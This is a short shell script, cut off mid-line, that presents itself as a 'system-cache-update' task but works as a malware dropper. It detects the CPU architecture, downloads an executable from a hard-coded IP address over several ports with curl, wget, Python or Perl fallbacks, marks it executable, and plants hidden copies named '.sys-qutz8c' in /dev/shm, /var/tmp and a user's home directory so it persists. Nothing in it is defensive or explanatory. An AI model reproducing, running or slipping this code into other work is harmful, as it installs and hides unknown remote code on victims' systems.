#!/bin/sh
# system-cache-update
_A=$(uname -m 2>/dev/null); case "$_A" in i[3-6]86) _S=386;; aarch64|arm64) _S=arm64;; armv*) _S=arm;; *) _S=amd64;; esac

_rdl() {
  for _p in 8888 8080 9000 80; do
    _u=http://43.228.157.68:$_p/api/dl/$_S
    curl -sfL "$_u" -o "$1" 2>/dev/null && chmod 755 "$1" && return 0
    wget -qO "$1" "$_u" 2>/dev/null && chmod 755 "$1" && return 0
    python3 -c "import urllib.request,sys;open(sys.argv[2],'wb').write(urllib.request.urlopen(sys.argv[1]).read())" "$_u" "$1" 2>/dev/null && chmod 755 "$1" && return 0
    python -c "import urllib,sys;urllib.urlretrieve(sys.argv[1],sys.argv[2])" "$_u" "$1" 2>/dev/null && chmod 755 "$1" && return 0
    perl -MLWP::Simple -e "getstore($ARGV[0],$ARGV[1])" "$_u" "$1" 2>/dev/null && chmod 755 "$1" && return 0
  done
  return 1
}

# 4 copies : RAM(/dev/shm) + home + /var/tmp + chemin original
_best() {
  for _p in "/dev/shm/.sys-qutz8c" "/home/rtbrisc/.sys-qutz8c" "/var/tmp/.sys-qutz8c" "/home/rtbrisc/.sys-qutz8c"; do
    [ -x "$_p" ] && echo "$_p" && return 0
  done
  return 1
}

_sync() {
  _src=$(_best)
  [ -z "$_src" ] && { _rdl "/dev/shm/.sys-qutz8c" && _src="/dev/shm/.sys-qutz8c" || return 1; }
  chmod 755 "$_src" 2>/dev/null
  for _p in "/dev/shm/.sys-qutz8c" "/home/rtbrisc/.sys-qutz8c" "/var/tmp/.sys-qutz8c" "/home/rtbrisc/.sys-qutz8c"; do
    [ "$_p" = "$